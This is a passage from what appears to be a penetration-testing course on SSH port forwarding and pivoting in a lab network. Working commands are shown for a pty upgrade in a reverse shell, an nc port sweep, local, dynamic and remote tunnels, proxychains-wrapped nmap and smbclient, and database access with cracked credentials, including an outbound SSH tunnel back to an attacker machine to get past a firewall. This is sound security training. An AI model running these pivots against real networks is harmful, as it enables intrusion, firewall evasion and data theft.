We can't create the SSH local port forward just yet, though. When setting up an SSH local port forward, we need to know exactly which IP address and port we want the packets forwarded to. So before we create the port forward SSH connection, let's SSH into PGDATABASE01 to start enumerating.

In our shell from CONFLUENCE01, we'll make sure we have TTY2 functionality by using the Python 3's pty module. We can then SSH into PGDATABASE01 with the database_admin credentials.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh database_admin@10.4.50.215
<sian/confluence/bin$ ssh database_admin@10.4.50.215   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '10.4.50.215 (10.4.50.215)' can't be established.
ECDSA key fingerprint is SHA256:K9x2nuKxQIb/YJtyN/YmDBVQ8Kyky7tEqieIyt1ytH4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
database_admin@10.4.50.215's password: 

Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Aug 2022 03:01:09 PM UTC

  System load:  0.0               Processes:               241
  Usage of /:   59.4% of 7.77GB   Users logged in:         2
  Memory usage: 16%               IPv4 address for ens192: 10.4.50.215
  Swap usage:   0%                IPv4 address for ens224: 172.16.50.215


0 updates can be applied immediately.

Last login: Thu Aug 18 11:43:08 2022 from 10.4.50.63
database_admin@pgdatabase01:~$
Listing 16 - Giving our reverse shell TTY functionality with Python3's pty, and logging into PGDATABASE01 as database_admin.

Now that we have an SSH connection to PGDATABASE01 from CONFLUENCE01, we can start enumerating. We'll run ip addr to query available network interfaces.

Bash
database_admin@pgdatabase01:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:8a:6b:9b brd ff:ff:ff:ff:ff:ff
    inet 10.4.50.215/24 brd 10.4.50.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:6b9b/64 scope link 
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:8a:0d:b6 brd ff:ff:ff:ff:ff:ff
    inet 172.16.50.215/24 brd 172.16.50.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:db6/64 scope link 
       valid_lft forever preferred_lft forever
4: ens256: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:50:56:8a:f0:8e brd ff:ff:ff:ff:ff:ff
Listing 17 - Enumerating network interfaces on PGDATABASE01.

We'll then run ip route to discover what subnets are already in the routing table.

Bash
database_admin@pgdatabase01:~$ ip route
10.4.50.0/24 dev ens192 proto kernel scope link src 10.4.50.215 
10.4.50.0/24 via 10.4.50.254 dev ens192 proto static
172.16.50.0/24 dev ens224 proto kernel scope link src 172.16.50.215 
172.16.50.0/24 via 172.16.50.254 dev ens224 proto static
Listing 18 - Enumerating network routes on PGDATABASE01.

We find that PGDATABASE01 is attached to another subnet, this time in the 172.16.50.0/24 range. We don't find a port scanner installed on PGDATABASE01; however, we can still do some initial reconnaissance with the tools that are available.

Let's write a Bash for loop to sweep for hosts with an open port 445 on the /24 subnet. We can use Netcat to make the connections, passing the -z flag to check for a listening port without sending data, -v for verbosity, and -w set to 1 to ensure a lower time-out threshold.

Bash
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$ 
Listing 19 - Using a bash loop with Netcat to sweep for port 445 in the newly-found subnet.

Most of the connections time out, suggesting that there's nothing there. In contrast, we'll notice that PGDATABASE01 (at 172.16.50.215) actively refused the connection. We also find that there is a host on the subnet, which has TCP port 445 open: 172.16.50.217!

We want to be able to enumerate the SMB service on this host. If we find anything, we want to download it directly to our Kali machine for inspection. There are at least two ways we could do this.

One way is to use whatever built-in tools we find on PGDATABASE01. However, if we did find anything, we would have to download it to PGDATABASE01, then transfer it back to CONFLUENCE01, then back to our Kali machine. This would create quite a tedious manual data transfer process.

The alternative is to use SSH local port forwarding. We could create an SSH connection from CONFLUENCE01 to PGDATABASE01. As part of that connection, we could create an SSH local port forward. This would listen on port 4455 on the WAN interface of CONFLUENCE01, forwarding packets through the SSH tunnel out of PGDATABASE01 and directly to the SMB share we found. We could then connect to the listening port on CONFLUENCE01 directly from our Kali machine.

Warning

In this scenario, there still is no firewall preventing us from accessing ports that we bind on the WAN interface of CONFLUENCE01. In later sections, we will put the firewall up, and use more advanced techniques to traverse this boundary.

For now, we should kill our existing SSH connection to PGDATABASE01. We will then set up a new connection with new arguments to establish the SSH local port forward.

A local port forward can be set up using OpenSSH's -L option, which takes two sockets (in the format IPADDRESS:PORT) separated with a colon as an argument (e.g. IPADDRESS:PORT:IPADDRESS:PORT). The first socket is the listening socket that will be bound to the SSH client machine. The second socket is where we want to forward the packets to. The rest of the SSH command is as usual - pointed at the SSH server and user we wish to connect as.

In this case, we will instruct SSH to listen on all interfaces on port 4455 on CONFLUENCE01 (0.0.0.0:4455), then forward all packets (through the SSH tunnel to PGDATABASE01) to port 445 on the newly-found host (172.16.50.217:445).

Warning

We're listening on port 4455 on CONFLUENCE01 because we're running as the confluence user: we don't have the permissions to listen on any port below 1024.

Let's create the SSH connection from CONFLUENCE01 to PGDATABASE01 using ssh, logging in as database_admin. We'll pass the local port forwarding argument we just put together to -L, and use -N to prevent a shell from being opened.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
<0:4455:172.16.50.217:445 database_admin@10.4.50.215   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '10.4.50.215 (10.4.50.215)' can't be established.
ECDSA key fingerprint is SHA256:K9x2nuKxQIb/YJtyN/YmDBVQ8Kyky7tEqieIyt1ytH4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
database_admin@10.4.50.215's password: 
Listing 20 - Running the local port forward command.

Once we've entered the password, we don't receive any output. When running SSH with the -N flag, this is normal. The -N flag prevents SSH from executing any remote commands, meaning we will only receive output related to our port forward.

Warning

If the SSH connection or the port forwarding fails for some reason, and the output we get from the standard SSH session isn't sufficient to troubleshoot it, we can pass the -v flag to ssh in order to receive debug output.

Since this reverse shell from CONFLUENCE01 is now occupied with an open SSH session, we need to catch another reverse shell from CONFLUENCE01. We can do this by listening on another port and modifying our CVE-2022-26134 payload to return a shell to that port.

Once we have another reverse shell from CONFLUENCE01, we can confirm that the ssh process we just started from our other shell is listening on 4455 using ss.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ ss -ntplu 
ss -ntplu
Netid  State   Recv-Q  Send-Q         Local Address:Port     Peer Address:Port  Process                                                                         
udp    UNCONN  0       0              127.0.0.53%lo:53            0.0.0.0:*
tcp    LISTEN  0       128                  0.0.0.0:4455          0.0.0.0:*      users:(("ssh",pid=59288,fd=4))
tcp    LISTEN  0       4096           127.0.0.53%lo:53            0.0.0.0:*
tcp    LISTEN  0       128                  0.0.0.0:22            0.0.0.0:*
tcp    LISTEN  0       128                     [::]:22               [::]:*
tcp    LISTEN  0       10                         *:8090                *:*      users:(("java",pid=1020,fd=44))
tcp    LISTEN  0       1024                       *:8091                *:*      users:(("java",pid=1311,fd=15))
tcp    LISTEN  0       1         [::ffff:127.0.0.1]:8000                *:*      users:(("java",pid=1020,fd=76))
Listing 21 - Port 4455 listening on all interfaces on CONFLUENCE01.

It is - great! Connecting to port 4455 on CONFLUENCE01 will now be just like connecting directly to port 445 on 172.16.50.217. We can review the connection flow in the following diagram.

The SSH local port forward set up, with the command running on CONFLUENCE01

Figure 6: The SSH local port forward set up, with the command running on CONFLUENCE01

We can now interact with port 4455 on CONFLUENCE01 from our Kali machine. Let's start by listing the available shares with smbclient's -L option, passing 4455 to the custom port -p option, along with the username to the -U option and the password to the --password option. We'll try the credentials we cracked for the hr_admin user from the Confluence database.

Bash
kali@kali:~$ smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        scripts         Disk
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.50.63 failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available
Listing 22 - Listing SMB shares through the SSH local port forward running on CONFLUENCE01.

We find a share called scripts, which we will likely be able to access. Let's try to list what's inside it and download what we find.

Bash
kali@kali:~$ smbclient -p 4455 //192.168.50.63/scripts -U hr_admin --password=Welcome1234
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 18 22:21:24 2022
  ..                                 DR        0  Thu Aug 18 19:42:49 2022
  Provisioning.ps1                    A      387  Thu Aug 18 22:21:52 2022
  README.txt                          A      145  Thu Aug 18 22:22:40 2022

                5319935 blocks of size 4096. 152141 blocks available

smb: \> get Provisioning.ps1
getting file \Provisioning.ps1 of size 387 as Provisioning.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)

smb: \> 
Listing 23 - Listing files in the scripts share, using smbclient over our SSH local port forward running on CONFLUENCE01.

We can now inspect this file directly on our Kali machine.

In this section, by creating an SSH local port forward, we've been able to download a file stored from a share on a host deeper inside the corporate network.

18.3.2. SSH Dynamic Port Forwarding

Local port forwarding has one glaring limitation: we can only connect to one socket per SSH connection. This can make it quite tedious to use at scale. Luckily, OpenSSH also provides dynamic port forwarding.1 From a single listening port on the SSH client, packets can be forwarded to any socket that the SSH server host has access to.

SSH dynamic port forwarding works because the listening port that the SSH client creates is a SOCKS2 proxy server port. SOCKS is a proxying protocol. Much like a postal service, a SOCKS server accepts packets (with a SOCKS protocol header) and forwards them on to wherever they're addressed.

This is powerful. In SSH dynamic port fowarding, packets can be sent to a single listening SOCKS port on the SSH client machine. These will be pushed through the SSH connection, then forwarded to anywhere the SSH server machine can route. The only limitation is that the packets have to be properly formatted - most often by SOCK-compatible client software. In some cases, software is not SOCKS-compatible by default. We will work through this limitation later in this section.

Let's illustrate an SSH dynamic port forward in our network diagram.

The SSH dynamic port forward setup

Figure 7: The SSH dynamic port forward setup

The layout is very similar to SSH local port forwarding. We are listening on TCP port 9999 on the WAN interface of CONFLUENCE01. Packets sent to this port (in SOCKS format) are pushed through the SSH tunnel to PGDATABASE01, then forwarded wherever they are addressed.

This means we will still be able to access the SMB port on HRSHARES, but we can also access any other port on any other host that PGDATABASE01 has access to, through this single port. However, in order to take advantage of this flexibility, we need to ensure that whatever software we use can send packets in the correct SOCKS protocol format.

Let's extend the previous scenario. As well as connecting to the SMB port on HRSHARES, we also want to be able to do a full portscan of HRSHARES.

We can ensure that we're in a TTY shell using Python3's pty module. We will create our SSH connection to PGDATABASE01 using the database_admin credentials again. In OpenSSH, a dynamic port forward is created with the -D option. The only argument this takes is the IP address and port we want to bind to. In this case, we want it to listen on all interfaces on port 9999. We don't have to specify a socket address to forward to. We'll also pass the -N flag to prevent a shell from being spawned.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
<$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '10.4.50.215 (10.4.50.215)' can't be established.
ECDSA key fingerprint is SHA256:K9x2nuKxQIb/YJtyN/YmDBVQ8Kyky7tEqieIyt1ytH4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
database_admin@10.4.50.215's password:
Listing 24 - Opening the SSH dynamic port forward on port 9999.

As with the previous example, we don't receive any immediate output after we enter the password.

Warning

As before, if we wanted to manually confirm that port 9999 is listening on CONFLUENCE01, we would exploit the Confluence vulnerability again to get another reverse shell (since our existing shell is tied up with the SSH port forward command), then run ss in that shell.

As we did earlier, let's connect to port 445 on HRSHARES. However, this time we will do it through the SOCKS proxy port created by our SSH dynamic port forward command.

To accomplish this, we'll want to use smbclient again. However, we find that smbclient doesn't natively provide an option to use a SOCKS proxy.3 Without a native option to use a SOCKS proxy in smbclient, we can't take advantage of our dynamic port forward. The SOCKS proxy can't determine how to handle traffic that isn't encapsulated in the SOCKS protocol format.

To use smbclient in this situation, we'll leverage Proxychains.4 Proxychains is a tool that can force network traffic from third party tools over HTTP or SOCKS proxies. As the name suggests, it can also be configured to push traffic over a chain of concurrent proxies.

Warning

The way Proxychains works is a light hack. It uses the Linux shared object preloading technique (LD_PRELOAD) to hook libc networking functions within the binary that gets passed to it, and forces all connections over the configured proxy server. This means it might not work for everything, but will work for most dynamically-linked binaries that perform simple network operations. It won't work on statically-linked binaries.

Let's try Proxychains with smbclient. Proxychains uses a configuration file for almost everything, stored by default at /etc/proxychains4.conf. We need to edit this file to ensure that Proxychains can locate our SOCKS proxy port, and confirm that it's a SOCKS proxy (rather than any other kind of proxy). By default, proxies are defined at the end of the file. We can simply replace any existing proxy definition in that file with a single line defining the proxy type, IP address, and port of the SOCKS proxy running on CONFLUENCE01 (socks5 192.168.50.63 9999).

Warning

Although we specify socks5 in this example, it could also be socks4, since SSH supports both. SOCKS5 supports authentication, IPv6, and User Datagram Protocol (UDP), including DNS. Some SOCKS proxies will only support the SOCKS4 protocol. Make sure you check which version is supported by the SOCKS server when using SOCKS proxies in engagements.

After editing the file, it should appear as follows:

Bash
kali@kali:~$ tail /etc/proxychains4.conf
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 192.168.50.63 9999
Listing 25 - The Proxychains configuration file, pointing towards the SOCKS proxy set up on CONFLUENCE01.

With Proxychains configured, we can now list the available shares on HRSHARES using smbclient from our Kali machine. Rather than connecting to the port on CONFLUENCE01, we'll write the smbclient command as though we have a direct connection to PGDATABASE01. As before, we will specify -L to list the available shares, pass the username with -U, and password with --password.

Next, we can simply prepend proxychains to the command. Proxychains will read the configuration file, hook into the smbclient process, and force all traffic through the SOCKS proxy we specified.

Bash
kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:445  ...  OK

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
    scripts         Disk
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:139  ...  OK
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:139  ...  OK
do_connect: Connection to 172.16.50.217 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
kali@kali:~$ 
Listing 26 - smbclient connecting to HRSHARES through the SOCKS proxy using Proxychains.

The connection was a success! We've managed to connect to HRSHARES and list its shares, including an interesting folder called scripts. We receive some extra output from Proxychains too, including the ports that were interacted with while the process was running.

Let's escalate this and port scan HRSHARES through our SOCKS proxy using Nmap. We'll use a TCP-connect scan (-sT), skip DNS resolution (-n), skip the host discovery stage (-Pn) and only check the top 20 ports (--top-ports=20). We will then prepend proxychains to the command again to push all packets through the SSH dynamic port forward SOCKS proxy. We'll also increase the verbosity using -vvv.

Warning

Nmap has a built-in --proxies option. However, according to its documentation, it's "still under development"5 and not suitable for port scanning. As such, we use Proxychains again in this example.

Bash
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-20 17:26 EDT
Initiating Parallel DNS resolution of 1 host. at 17:26
Completed Parallel DNS resolution of 1 host. at 17:26, 0.09s elapsed
DNS resolution of 1 IPs took 0.10s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:26
Scanning 172.16.50.217 [20 ports]
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:111 <--socket error or timeout!
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:22 <--socket error or timeout!
...
[proxychains] Strict chain  ...  192.168.50.63:9999  ...  172.16.50.217:5900 <--socket error or timeout!
Completed Connect Scan at 17:30, 244.33s elapsed (20 total ports)
Nmap scan report for 172.16.50.217
Host is up, received user-set (9.0s latency).
Scanned at 2022-08-20 17:26:47 EDT for 244s

PORT     STATE  SERVICE       REASON
21/tcp   closed ftp           conn-refused
22/tcp   closed ssh           conn-refused
23/tcp   closed telnet        conn-refused
25/tcp   closed smtp          conn-refused
53/tcp   closed domain        conn-refused
80/tcp   closed http          conn-refused
110/tcp  closed pop3          conn-refused
111/tcp  closed rpcbind       conn-refused
135/tcp  open   msrpc         syn-ack
139/tcp  open   netbios-ssn   syn-ack
143/tcp  closed imap          conn-refused
443/tcp  closed https         conn-refused
445/tcp  open   microsoft-ds  syn-ack
993/tcp  closed imaps         conn-refused
995/tcp  closed pop3s         conn-refused
1723/tcp closed pptp          conn-refused
3306/tcp closed mysql         conn-refused
3389/tcp open   ms-wbt-server syn-ack
5900/tcp closed vnc           conn-refused
8080/tcp closed http-proxy    conn-refused

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 244.62 seconds
Listing 27 - The Nmap-over-Proxychains command output.

The scan was a success! Proxychains gives us insight into each socket that was attempted and, if the connection failed, notes how. Nmap found TCP ports 135, 139, 445, and 3389 are open.

Warning

By default, Proxychains is configured with very high time-out values. This can make port scanning really slow. Lowering the tcp_read_time_out and tcp_connect_time_out values in the Proxychains configuration file will force Proxychains to time-out on non-responsive connections more quickly. This can dramatically speed up port-scanning times.

In this section, we set up a dynamic port forward and used Proxychains to push traffic from both smbclient and Nmap through the SOCKS proxy port that was created. We subsequently managed to list the shares on, as well as port scan, HRSHARES.

18.3.3. SSH Remote Port Forwarding

In our examples so far, we've been able to connect to any port we bind on the WAN interface of CONFLUENCE01. This is more challenging in the real world because, more often than not, firewalls - both hardware and software - are likely to get in the way. Inbound traffic is often controlled much more aggressively than outbound traffic. Only in rare cases will we compromise credentials for an SSH user, allowing us to SSH directly into a network and port forward. We will only very rarely be able to access ports that we bind to a network perimeter.

However, we will more often be able to SSH out of a network. Outbound connections are more difficult to control than inbound connections. Most corporate networks will allow many types of common network traffic out - including SSH - for reasons of simplicity, usability, and business need. So while it likely won't be possible to connect to a port we bind to the network perimeter, it will often be possible to SSH out.

This is where SSH remote port forwarding1 can be extremely useful. In a similar way that an attacker may execute a remote shell payload to connect back to an attacker-controlled listener, SSH remote port forwarding can be used to connect back to an attacker-controlled SSH server, and bind the listening port there. We can think of it like a reverse shell, but for port forwarding.

While in local and dynamic port forwarding, the listening port is bound to the SSH client, in remote port forwarding, the listening port is bound to the SSH server. Instead of the packet forwarding being done by the SSH server, in remote port forwarding, packets are forwarded by the SSH client.

Let's reconsider our lab scenario, and take a small step backwards.

As before, we compromise CONFLUENCE01 using CVE-2022-26134. However, in this scenario, the administrators decided to improve network security by implementing a firewall at the perimeter. The firewall is configured so that, regardless of whether we bind a port on the WAN interface of CONFLUENCE01 or not, the only port we can connect to from our Kali machine is TCP 8090.

As we did in the Socat section, we want to enumerate the PostgreSQL database running on port 5432 on PGDATABASE01. CONFLUENCE01 doesn't have the tools to do this. Because of the firewall, we can't create any port forward that requires opening the listening port on CONFLUENCE01.

However, CONFLUENCE01 does have an SSH client, and we can set up an SSH server on our Kali machine. We can create a port forwarding setup much like the following diagram:

The SSH remote port forward setup

Figure 8: The SSH remote port forward setup

We can connect from CONFLUENCE01 to our Kali machine over SSH. The listening TCP port 2345 is bound to the loopback interface on our Kali machine. Packets sent to this port are pushed by the Kali SSH server software through the SSH tunnel back to the SSH client on CONFLUENCE01. They are then forwarded to the PostgreSQL database port on PGDATABASE01.

Let's set this up in our lab. First, we'll need to enable the SSH server on our Kali machine. OpenSSH server is preinstalled - all we need to do is start it.

Warning

Before you start the Kali SSH server, make sure you've set a strong, unique password for the Kali user!

Bash
kali@kali:~$ sudo systemctl start ssh
[sudo] password for kali: 
Listing 28 - Starting the SSH server on the Kali machine.

We can check that the SSH port is open as we expected using ss.

Bash
kali@kali:~$ sudo ss -ntplu 
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*     users:(("sshd",pid=181432,fd=3))
tcp   LISTEN 0      128             [::]:22           [::]:*     users:(("sshd",pid=181432,fd=4))
Listing 29 - Checking that the SSH server on the Kali machine is listening.

The SSH server is listening on port 22 on all interfaces for both IPv4 and IPv6.

Once we have a reverse shell from CONFLUENCE01, we ensure we have a TTY shell, then create an SSH remote port forward as part of an SSH connection back to our Kali machine.

Warning

In order to connect back to the Kali SSH server using a username and password you may have to explicity allow password-based authentication by setting PasswordAuthentication to yes in /etc/ssh/sshd_config.

The SSH remote port forward option is -R, and has a very similar syntax to the local port forward option. It also takes two socket pairs as the argument. The listening socket is defined first, and the forwarding socket is second.

In this case, we want to listen on port 2345 on our Kali machine (127.0.0.1:2345), and forward all traffic to the PostgreSQL port on PGDATABASE01 (10.4.50.215:5432).

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
< 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '192.168.118.4 (192.168.118.4)' can't be established.
ECDSA key fingerprint is SHA256:OaapT7zLp99RmHhoXfbV6JX/IsIh7HjVZyfBfElMFn0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
kali@192.168.118.4's password:
Listing 30 - The SSH remote port forward being set up, connecting to the Kali machine.

The SSH connection back to our Kali machine was successful.

We can confirm that our remote port forward port is listening by checking if port 2345 is open on our Kali loopback interface.

Bash
kali@kali:~$ ss -ntplu
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      128        127.0.0.1:2345      0.0.0.0:*
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*
tcp   LISTEN 0      128             [::]:22           [::]:*
Listing 31 - Checking if port 2345 is bound on the Kali SSH server.

It is! Our port forward is now set up as we intended, with the SSH port forward command running on CONFLUENCE01.

The SSH remote port forward command running

Figure 9: The SSH remote port forward command running

We can now start probing port 2345 on the loopback interface of our Kali machine, as though we're probing the PostgreSQL database port on PGDATABASE01 directly. On our Kali machine, we will use psql, passing 127.0.0.1 as the host (-h), 2345 as the port (-p), and using the database credentials of the postgres user (-U) we found earlier on CONFLUENCE01.

Bash
kali@kali:~$ psql -h 127.0.0.1 -p 2345 -U postgres
Password for user postgres: 
psql (14.2 (Debian 14.2-1+b3), server 12.11 (Ubuntu 12.11-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
------------+----------+----------+-------------+-------------+-----------------------
 confluence | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
(4 rows)

postgres=# 
Listing 32 - Listing databases on the PGDATABASE01, using psql through the SSH remote port forward.

Success! We're now interacting with the PostgreSQL instance running on PGDATABASE01 through our SSH remote port forward by connecting to port 2345 on our own Kali machine.

In this section, we created an SSH remote port forward to allow us to connect to an internal database server from our Kali machine. We did this while traversing a perimeter firewall, which would otherwise block inbound connections.

18.3.4. SSH Remote Dynamic Port Forwarding

With remote port forwarding, we were able to forward packets to one socket per SSH connection. However, just as we found with local port forwarding, this single-socket-per-connection limitation can slow us down. We often want more flexibility when attacking networks, especially in the enumeration stages.

Luckily, remote dynamic port forwarding1 can provide this flexibility. Just as the name suggests, remote dynamic port forwarding creates a dynamic port forward in the remote configuration. The SOCKS proxy port is bound to the SSH server, and traffic is forwarded from the SSH client.

To conceptualize how useful this might be, let's apply it to our previous scenario. The following diagram illustrates how the network layout would improve if we were to apply remote dynamic port forwarding to the remote port forwarding scenario.

The SSH remote dynamic port forward layout applied to the remote port forward scenario

Figure 10: The SSH remote dynamic port forward layout applied to the remote port forward scenario

It's much more flexible. Suddenly, we are able to connect to other ports and hosts through the same connection.

Warning

Remote dynamic port forwarding is just another instance of dynamic port forwarding, so we gain all the flexibility of traditional dynamic port forwarding alongside the benefits of the remote configuration. We are able to connect to any port on any host that CONFLUENCE01 has access to by passing SOCKS-formatted packets through the SOCKS proxy port that is bound on our Kali machine.

Remote dynamic port forwarding has only been available since October 2017's OpenSSH 7.6.2 Despite this, only the OpenSSH client needs to be version 7.6 or above to use it - the server version doesn't matter.

Let extend our scenario again. This time we find a Windows server (MULTISERVER03) on the DMZ network. The firewall prevents us from connecting to any port on MULTISERVER03, or any port other than TCP/8090 on CONFLUENCE01 from our Kali machine. But we can SSH out from CONFLUENCE01 to our Kali machine, then create a remote dynamic port forward so we can start enumerating MULTISERVER03 from Kali.

Once connected, our network should be organized much like the following diagram:

The SSH remote dynamic port forward setup we are aiming for

Figure 11: The SSH remote dynamic port forward setup we are aiming for

The SSH session is initiated from CONFLUENCE01, connecting to the Kali machine, which is running an SSH server. The SOCKS proxy port is then bound to the Kali machine on TCP/9998. Packets sent to that port will be pushed back through the SSH tunnel to CONFLUENCE01, where they will be forwarded based on where they're addressed - in this case, MULTISERVER03.

To demonstrate exactly how useful remote dynamic port forwarding can be, let's set up an example in the lab. Once we have a reverse shell from CONFLUENCE01, have spawned a TTY shell within it, and have enabled SSH on our Kali machine, we can start crafting the remote dynamic port forwarding command.

The remote dynamic port forwarding command is relatively simple, although (slightly confusingly) it uses the same -R option as classic remote port forwarding. The difference is that when we want to create a remote dynamic port forward, we pass only one socket: the socket we want to listen on the SSH server. We don't even need to specify an IP address; if we just pass a port, it will be bound to the loopback interface of the SSH server by default.

To bind the SOCKS proxy to port 9998 on the loopback interface of our Kali machine, we simply specify -R 9998 to the SSH command we run on CONFLUENCE01. We'll also pass the -N flag to prevent a shell from being opened.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 9998 kali@192.168.118.4
<n/confluence/bin$ ssh -N -R 9998 kali@192.168.118.4   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '192.168.118.4 (192.168.118.4)' can't be established.
ECDSA key fingerprint is SHA256:OaapT7zLp99RmHhoXfbV6JX/IsIh7HjVZyfBfElMFn0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
kali@192.168.118.4's password:
Listing 33 - Making the SSH connection with the remote dynamic port forwarding option.

Back on our Kali machine, we can check that port 9998 is bound by using ss.

Bash
kali@kali:~$ sudo ss -ntplu
Netid State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process
tcp   LISTEN  0       128          127.0.0.1:9998        0.0.0.0:*     users:(("sshd",pid=939038,fd=9))
tcp   LISTEN  0       128            0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=181432,fd=3))
